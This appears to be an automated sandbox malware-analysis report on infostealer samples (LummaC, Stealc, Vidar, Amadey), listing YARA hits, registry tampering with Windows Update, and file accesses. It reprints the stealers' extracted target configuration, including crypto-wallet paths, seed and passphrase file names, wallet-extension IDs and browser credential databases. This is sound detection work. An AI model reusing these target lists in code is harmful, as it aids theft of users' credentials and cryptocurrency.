Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: iUKUR1nUyD.exe, 00000000.00000003.2232860817.000000000123E000.00000004.00000020.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2249718158.000000000123D000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\iUKUR1nUyD.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 19.2.skotes.exe.f70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.skotes.exe.f70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.skotes.exe.f70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.BAAFBFBAAK.exe.c70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.3329799992.0000000000F71000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3083424301.0000000000C71000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3112146161.0000000000F71000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3125756015.0000000000F71000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: iUKUR1nUyD.exe PID: 2360, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3046365841.0000000000101000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3048071959.0000000000B1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: QCOQEKY6WEL3K5GC9727N7E.exe PID: 6224, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: QCOQEKY6WEL3K5GC9727N7E.exe PID: 6224, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: iUKUR1nUyD.exe	String found in binary or memory: ,"z":"Wallets/JAXX New Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\wallets","m":[""],"z":"Wallets/Electrum","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum-LTC\\wallets","m":[""],"z":"Wallets/Electrum-LTC","d":0,"fs":20971520},{"t":0,
Source: iUKUR1nUyD.exe	String found in binary or memory: p":"%appdata%\\ElectronCash\\wallets","m":[""],"z":"Wallets/ElectronCash","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Guarda\\IndexedDB","m":[""],"z":"Wallets/Guarda","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\DashCore\\wallets","m":["*.dat"],"z":"Wallets/D
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046365841.00000000001B5000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: \Electrum\wallets\
Source: iUKUR1nUyD.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: iUKUR1nUyD.exe	String found in binary or memory: llets/Bitcoin core","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Binance","m":["app-store.json",".finger-print.fp","simple-storage.json","window-state.json"],"z":"Wallets/Binance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\IndexedDB","m":["*"
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046365841.00000000001B5000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: exodus.conf.json
Source: iUKUR1nUyD.exe	String found in binary or memory: "mx":[{"en":"webextension@metamask.io","ez":"MetaMask","et":"\"params\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"W
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046365841.0000000000184000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046365841.00000000001B5000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: ElectrumLTC
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046365841.00000000001D0000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: passphrase.json
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046365841.0000000000184000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046365841.00000000001B5000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: \Ethereum\
Source: iUKUR1nUyD.exe	String found in binary or memory: llets/Exodus","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger Live","m":[""],"z":"Wallets/Ledger Live","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\atomic\\Local Storage\\leveldb","m":[""],"z":"Wallets/Atomic","d":2,"fs":20971520},{"t":0,"p":"%localappdata
Source: iUKUR1nUyD.exe	String found in binary or memory: "mx":[{"en":"webextension@metamask.io","ez":"MetaMask","et":"\"params\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"W
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046365841.0000000000184000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: iUKUR1nUyD.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046365841.00000000001D0000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046365841.0000000000184000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046365841.0000000000184000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: iUKUR1nUyD.exe	String found in binary or memory: "mx":[{"en":"webextension@metamask.io","ez":"MetaMask","et":"\"params\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"W
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046365841.00000000001B5000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
